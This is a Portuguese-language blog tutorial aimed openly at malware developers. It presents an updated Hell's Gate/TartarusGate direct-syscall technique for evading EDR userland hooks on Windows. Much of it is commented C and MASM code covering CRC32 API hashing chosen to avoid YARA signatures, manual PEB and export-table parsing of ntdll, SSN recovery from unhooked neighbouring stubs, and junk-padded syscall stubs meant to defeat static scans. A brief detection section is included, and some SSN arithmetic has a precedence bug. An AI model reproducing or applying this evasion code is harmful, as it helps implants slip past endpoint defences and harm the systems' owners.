▸ Hells Gate Series — 1/1

Hell's Gate Evoluído: CRC32, TartarusGate e o Fim das Desculpas Contra Hooks

Por que isso importa (e muito)

Bora ser direto: se você tá desenvolvendo malware em 2026 e ainda tá chamando funções Win32 direto pela API de alto nível, você já perdeu. Os EDRs modernos — CrowdStrike, SentinelOne, Defender for Endpoint — todos eles fazem a mesma coisa: injetam uma DLL no seu processo e hookam as funções NT na ntdll.dll. Sabe aquele NtProtectVirtualMemory que você chama pra marcar memória como executável antes de rodar o shellcode? É exatamente ali que o EDR tá te esperando, coffee in hand, pronto pra encerrar sua sessão.

O Hell's Gate original foi uma virada de chave quando saiu. A ideia era genial: em vez de chamar a função hookada, você lê os bytes da própria função em memória, extrai o SSN (Syscall Service Number) diretamente daí, e chama o syscall você mesmo em assembly. Sem passar pelo hook. O problema? Se o EDR hookava os primeiros bytes da função — aquele clássico 0xE9 de JMP no início — o Hell's Gate original simplesmente falhava. Ele não sabia lidar com função hooked.

É aqui que entra o que eu vou te mostrar hoje: uma versão atualizada do Hell's Gate que troca o hash de DJB2 por CRC32 (menos assinatura), melhora a arquitetura do código com estruturas dedicadas, e adota a lógica do TartarusGate para recuperar SSN mesmo quando a função alvo tá completamente hooked. Isso não é upgrade cosmético — é a diferença entre o seu implant rodando ou sendo detectado na hora que você mais precisa.


Contexto técnico: o que tá acontecendo por baixo dos panos

Como userland hooks funcionam (pra você entender o que tá evadindo)

Quando um EDR quer monitorar chamadas de syscall, ele não mexe no kernel — isso seria complexo e arriscado. Em vez disso, ele injeta uma DLL (geralmente via SetWindowsHookEx ou um driver que força o carregamento) no seu processo e sobrescreve os primeiros bytes das funções na ntdll.dll em memória.

A função original NtAllocateVirtualMemory começa com:

ASM
1234
4C 8B D1       mov r10, rcx
B8 18 00 00 00 mov eax, 0x18   ; SSN = 0x18
0F 05          syscall
C3             ret

Depois do hook, ela começa com:

ASM
1
E9 XX XX XX XX  jmp <endereço do EDR>

Quando você chama essa função, em vez de executar o syscall, você vai direto pro código do EDR, que analisa o que você tá tentando fazer e decide se deixa passar ou não.

O SSN e por que ele é a chave de tudo

Cada syscall no Windows tem um número único — o SSN. Esse número é o que o kernel usa pra saber qual serviço você tá pedindo. Quando você faz um syscall em assembly, o valor no registrador eax é o SSN. O kernel pega esse número, indexa numa tabela (SSDT — System Service Descriptor Table), e executa a função correspondente.

O truque do Hell's Gate é: em vez de chamar a função hookada, você pega o SSN diretamente dos bytes dela e monta o syscall você mesmo. Sem intermediários.

O problema é quando a função tá hooked — os bytes 4C 8B D1 B8 (que indicam mov r10, rcx; mov eax, SSN) foram substituídos por um JMP. Como você pega o SSN agora?

TartarusGate: usando os vizinhos pra calcular o alvo

Aqui tá a sacada do TartarusGate. No Windows, os syscalls da ntdll são organizados em ordem crescente de SSN na memória. Se NtProtectVirtualMemory tem SSN 0x50, o syscall logo abaixo dele tem SSN 0x51, e o de cima tem SSN 0x4F.

Então, se NtProtectVirtualMemory tá hooked, você procura nos vizinhos (pra cima e pra baixo) até achar um que não tá hooked. Quando acha, você faz a conta:

  • Se encontrou o vizinho abaixo (índice idx): SSN alvo = SSN_vizinho - idx

  • Se encontrou o vizinho acima (índice idx): SSN alvo = SSN_vizinho + idx

Simples assim. E funciona mesmo que múltiplos syscalls consecutivos estejam hookados — você só vai mais longe na busca, até um máximo de 255 (RANGE).


Código comentado: destrinchando as mudanças

1. Novo hash: CRC32 no lugar de DJB2

C
123456789101112131415161718192021222324252627282930313233
#define SEED 0xEDB88320  // polinômio padrão do CRC32

unsigned int crc32h(char* message) {
    int i, crc;
    unsigned int byte, c;
    
    // pré-computa os 8 valores do gerador baseados no SEED
    // isso é o coração do algoritmo CRC32 — cada bit tem peso diferente
    const unsigned int g0 = SEED, g1 = g0 >> 1,
        g2 = g0 >> 2, g3 = g0 >> 3, g4 = g0 >> 4, g5 = g0 >> 5,
        g6 = (g0 >> 6) ^ g0, g7 = ((g0 >> 6) ^ g0) >> 1;

    i = 0;
    crc = 0xFFFFFFFF;  // valor inicial padrão do CRC32
    
    while ((byte = message[i]) != 0) {
        crc = crc ^ byte;  // XOR com o byte atual
        
        // aplica o polinômio bit a bit — cada shift+AND isola um bit do crc
        // e aplica o coeficiente correspondente (g0..g7)
        c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^
            ((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^
            ((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^
            ((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0);
            
        crc = ((unsigned)crc >> 8) ^ c;  // shift e mistura
        i = i + 1;
    }
    return ~crc;  // inversão final — padrão CRC32
}

// macro pra usar limpo no código
#define HASH(API) crc32h((char*)API)

Por que mudar de DJB2? Porque DJB2 é a implementação mais comum em ferramentas públicas de maldev. Qualquer YARA rule decente já tem o pattern 0x5381 (constante do DJB2) como indicador. CRC32 com SEED customizado é bem menos assinado. Muda o SEED pra um valor seu e você tem um hash único.


2. NTDLL_CONFIG: organização que faz diferença

C
1234567891011
typedef struct _NTDLL_CONFIG
{
    PDWORD      pdwArrayOfAddresses;  // VA do array de endereços das exports
    PDWORD      pdwArrayOfNames;      // VA do array de nomes das exports
    PWORD       pwArrayOfOrdinals;    // VA do array de ordinals das exports
    DWORD       dwNumberOfNames;      // total de funções exportadas
    ULONG_PTR   uModule;              // base address da ntdll — base pra calcular RVAs

} NTDLL_CONFIG, *PNTDLL_CONFIG;

NTDLL_CONFIG g_NtdllConf = { 0 };  // global inicializado zero

A ideia aqui é simples: em vez de recalcular os ponteiros pra export directory toda vez que você procura um syscall, você faz isso uma vez e guarda numa estrutura global. Lazy initialization — só inicializa quando precisa.


3. InitNtdllConfigStructure: PE parsing na veia

C
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
BOOL InitNtdllConfigStructure() {

    // lê o PEB diretamente via GS segment — sem chamar nenhuma API
    // gs:0x60 é o offset do PEB no TEB em x64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    if (!pPeb || pPeb->OSMajorVersion != 0xA)  // só Windows 10/11
        return FALSE;

    // navega na InMemoryOrderModuleList pra pegar a ntdll
    // o primeiro elemento é o próprio processo (nosso .exe)
    // o segundo (Flink->Flink) é a ntdll.dll
    // subtrai 0x10 porque LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks não começa no início da struct
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)(
        (PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10
    );

    ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
    if (!uModule)
        return FALSE;

    // parsing manual do PE — DOS header → NT headers → Export directory
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)  // verifica 'MZ'
        return FALSE;

    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)  // verifica 'PE\0\0'
        return FALSE;
    
    // DataDirectory[0] = export table
    PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(
        uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
    );
    if (!pImgExpDir)
        return FALSE;

    // popula a estrutura global — tudo relativo à base da ntdll
    g_NtdllConf.uModule             = uModule;
    g_NtdllConf.dwNumberOfNames     = pImgExpDir->NumberOfNames;
    g_NtdllConf.pdwArrayOfNames     = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
    g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
    g_NtdllConf.pwArrayOfOrdinals   = (PWORD)(uModule  + pImgExpDir->AddressOfNameOrdinals);

    // validação final — se qualquer campo for zero, falhou
    if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || 
        !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || 
        !g_NtdllConf.pwArrayOfOrdinals)
        return FALSE;
    else
        return TRUE;
}

Note que em nenhum momento aqui chamamos GetModuleHandle, GetProcAddress ou qualquer função da API Win32. Tudo é resolvido manualmente via PEB e PE parsing. Isso importa porque essas funções também podem estar hooked.


4. FetchNtSyscall com TartarusGate: o coração da implementação

C
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
// tamanho fixo de cada syscall stub na ntdll = 32 bytes
#define UP    -32   // offset pra ir pro syscall anterior (acima na memória)
#define DOWN   32   // offset pra ir pro próximo syscall (abaixo na memória)
#define RANGE  255  // máximo de vizinhos pra verificar

BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
    
    // lazy init da config da ntdll
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }

    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;

    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++){

        PCHAR pcFuncName   = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
        PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + 
                             g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
        
        pNtSys->pSyscallAddress = pFuncAddress;

        if (HASH(pcFuncName) == dwSysHash) {

            // CASO 1: função não está hookada
            // verifica os opcodes: 4C 8B D1 B8 [SSN lo] [SSN hi] 00 00
            // isso é: mov r10, rcx; mov eax, <ssn>
            if (*((PBYTE)pFuncAddress)     == 0x4C
             && *((PBYTE)pFuncAddress + 1) == 0x8B
             && *((PBYTE)pFuncAddress + 2) == 0xD1
             && *((PBYTE)pFuncAddress + 3) == 0xB8
             && *((PBYTE)pFuncAddress + 6) == 0x00
             && *((PBYTE)pFuncAddress + 7) == 0x00) {

                BYTE high = *((PBYTE)pFuncAddress + 5);
                BYTE low  = *((PBYTE)pFuncAddress + 4);
                pNtSys->dwSSn = (high << 8) | low;  // monta o SSN de 16 bits
                break;
            }

            // CASO 2: hooked no início (byte 0 = 0xE9 = JMP)
            // EDR substituiu o mov r10, rcx por um JMP logo de cara
            if (*((PBYTE)pFuncAddress) == 0xE9) {

                for (WORD idx = 1; idx <= RANGE; idx++) {
                    
                    // busca ABAIXO (syscall seguinte tem SSN maior)
                    if (*((PBYTE)pFuncAddress + idx * DOWN)     == 0x4C
                     && *((PBYTE)pFuncAddress + 1 + idx * DOWN) == 0x8B
                     && *((PBYTE)pFuncAddress + 2 + idx * DOWN) == 0xD1
                     && *((PBYTE)pFuncAddress + 3 + idx * DOWN) == 0xB8
                     && *((PBYTE)pFuncAddress + 6 + idx * DOWN) == 0x00
                     && *((PBYTE)pFuncAddress + 7 + idx * DOWN) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * DOWN);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * DOWN);
                        // vizinho abaixo tem SSN maior, então subtraímos idx
                        pNtSys->dwSSn = (high << 8) | low - idx;
                        break;
                    }
                    
                    // busca ACIMA (syscall anterior tem SSN menor)
                    if (*((PBYTE)pFuncAddress + idx * UP)     == 0x4C
                     && *((PBYTE)pFuncAddress + 1 + idx * UP) == 0x8B
                     && *((PBYTE)pFuncAddress + 2 + idx * UP) == 0xD1
                     && *((PBYTE)pFuncAddress + 3 + idx * UP) == 0xB8
                     && *((PBYTE)pFuncAddress + 6 + idx * UP) == 0x00
                     && *((PBYTE)pFuncAddress + 7 + idx * UP) == 0x00) {

                        BYTE high = *((PBYTE)pFuncAddress + 5 + idx * UP);
                        BYTE low  = *((PBYTE)pFuncAddress + 4 + idx * UP);
                        // vizinho acima tem SSN menor, então somamos idx
                        pNtSys->dwSSn = (high << 8) | low + idx;
                        break;
                    }
                }
            }
        
            // CASO 3: hooked depois dos 3 primeiros bytes (byte 3 = 0xE9)
            // EDR esperou passar o mov r10, rcx e hookeu no mov eax
            // mesma lógica do caso 2
            if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
                // [mesma lógica de busca up/down — omitido por brevidade]
            }
            
            break;
        }
    }

    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && 
        pNtSys->dwSyscallHash != NULL)
        return TRUE;
    else
        return FALSE;
}

5. Assembly obfuscado: SetSSn e RunSyscall

ASM
1234567891011121314151617181920212223242526272829
.data
    wSystemCall DWORD 0000h    ; variável global que guarda o SSN atual

.code 

    SetSSn PROC
        xor eax, eax           ; zera eax — instrução inocente, quebra pattern
        mov wSystemCall, eax   ; reseta a variável global
        mov eax, ecx           ; ecx = primeiro argumento (o SSN)
        mov r8d, eax           ; joga em r8d — instrução extra pra confundir
        mov wSystemCall, r8d   ; salva o SSN na variável global
        ret
    SetSSn ENDP
    
    RunSyscall PROC
        xor r10, r10           ; zera r10 — ruído pra análise estática
        mov rax, rcx           ; rcx = primeiro arg da função que queremos chamar
        mov r10, rax           ; r10 = rcx (convenção de chamada de syscalls NT)
        mov eax, wSystemCall   ; eax = SSN (kernel vai ler daqui)
        jmp Run                ; pula pra Run — evita pattern linear de 5 bytes
        xor eax, eax           ; código morto — nunca executa
        xor rcx, rcx           ; código morto — nunca executa  
        shl r10, 2             ; código morto — nunca executa
    Run:
        syscall                ; instrução de syscall de fato
        ret
    RunSyscall ENDP
    
end

O JMP antes do syscall é um detalhe elegante. Muitos scanners de shellcode procuram a sequência mov r10, rcx; mov eax, <ssn>; syscall em bytes consecutivos. Com o JMP no meio, você quebra esse padrão linear sem afetar a execução.


Análise: onde funciona, onde falha, como detectar

Por que a abordagem TartarusGate funciona

A premissa central é que EDRs hooks funções individualmente — eles não vão hookar todas as 400+ funções da ntdll porque isso seria caro demais em performance. Na prática, eles hookam um subconjunto das funções mais sensíveis. Isso significa que qualquer função hooked vai ter vizinhas não hooked no espaço de endereços, e a lógica de idx vai funcionar.

O RANGE de 255 é conservador. Na prática, você raramente vai precisar ir além de 5-10 vizinhos.

Onde a abordagem tem limitações

Kernel Callbacks: EDRs sofisticados também usam kernel callbacks (PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, etc.) além dos userland hooks. Syscalls diretos evam os hooks de userland, mas os callbacks no kernel ainda disparam. Um NtCreateThreadEx direto ainda vai notificar o driver do EDR via kernel callback.

ETW (Event Tracing for Windows): O kernel loga eventos de syscall via ETW. Alguns EDRs monitoram isso. Syscalls diretos não evam ETW.

Scan de memória: O padrão de buscar SSN nos vizinhos pode ser detectado por análise comportamental — alguém lendo os bytes de múltiplas funções da ntdll em sequência é suspeito.

Hardcoded SSNs: A alternativa mais simples é hardcodar os SSNs por versão de Windows. Menos elegante, mas elimina a necessidade de qualquer leitura em memória.

Como EDRs detectam essa técnica

  • Heurística de leitura de ntdll: leitura sistemática dos bytes das funções NT é flag de comportamento suspeito

  • Análise do call stack: syscalls legítimos têm um call stack que passa pela ntdll. Direct syscalls têm um call stack "limpo" demais — sem frames da ntdll. Alguns EDRs checam isso via RtlCaptureStackBackTrace

  • Detecção de JOP/ROP gadgets: o padrão syscall fora da ntdll é anomalia flagrável


Na minha visão: quando usar e quando não usar

Olha, direct syscalls são uma ferramenta poderosa mas não são bala de prata. Minha opinião honesta:

Use quando: você tá desenvolvendo implants pra red team ops em ambientes com EDR corporativo moderno, especialmente quando as operações críticas (allocate → protect → createthread) precisam passar despercebidas no userland.

Não use quando: você quer evasão de verdade em 2026. Só direct syscalls não é suficiente. Você precisa combinar com: syscall address indirection (chamar o syscall de dentro da ntdll mesmo pra ter call stack legítimo), ETW patching, heap encryption pro payload, e spoofing de parent process no mínimo.

Comparando com alternativas:

  • Manual mapping de ntdll limpa: carrega uma cópia fresh da ntdll do disco (antes dos hooks), funciona bem mas é flagrável por ter dois mappings da ntdll no processo

  • Unhooking explícito: restaura os bytes originais sobrescrevendo o hook — funciona mas é detectável pela mudança de páginas protegidas

  • Hell's Gate + TartarusGate (esse aqui): balanço bom entre complexidade e eficácia, e você não precisa modificar nada em memória além do seu próprio espaço de trabalho

O CRC32 no lugar de DJB2 é um detalhe que eu acho importante mesmo sendo sutil. Assinatura de string hashing é uma das primeiras coisas que scanners automáticos checam. Mudar o algoritmo E o SEED custa zero em eficácia e diminui surface de detecção estática.


Conclusão: o que estudar depois

Se você chegou até aqui e entendeu tudo, você tá bem encaminhado pra maldev sério. Mas o próximo nível exige que você vá além:

1. Call Stack Spoofing — o problema mais urgente com direct syscalls. Pesquisa SilentMoonwalk e ThreadStackSpoofer. A ideia é forjar o call stack pra parecer que o syscall veio de código legítimo.

2. Indirect Syscalls — em vez de executar o syscall instruction no seu código, você redireciona a execução pra instrução syscall que existe dentro da própria ntdll (depois dos hooks, que ficam nos primeiros bytes). Isso mantém o call stack limpo. Procura por RecycledGate e HalosGate.

3. ETW Patching — Event Tracing for Windows pode vazar informações sobre suas chamadas mesmo quando os hooks de userland são evadidos. Patch no EtwEventWrite em userland é relativamente simples.

4. NTDLL Freshcopy — carregar uma cópia não hookada da ntdll direto do disco ou mapeando o arquivo manualmente. Mais pesado mas elimina a dependência de reverse engineering dos hooks.

5. Kernel Driver (se você tiver coragem) — a evasão definitiva. Mas aí você tá num jogo completamente diferente, com KMDF, DSE, e todo um universo de complexidade.

O Hell's Gate evoluído que vimos hoje é uma base sólida. Mas o jogo entre ofensiva e defensiva em segurança de endpoints é constante — o que funciona hoje pode ser assinado amanhã. Entender por que cada técnica funciona, como o lado defensivo detecta, e qual é o próximo vetor é o que separa quem vai longe de quem fica rodando scripts de outros.

Bora continuar estudando.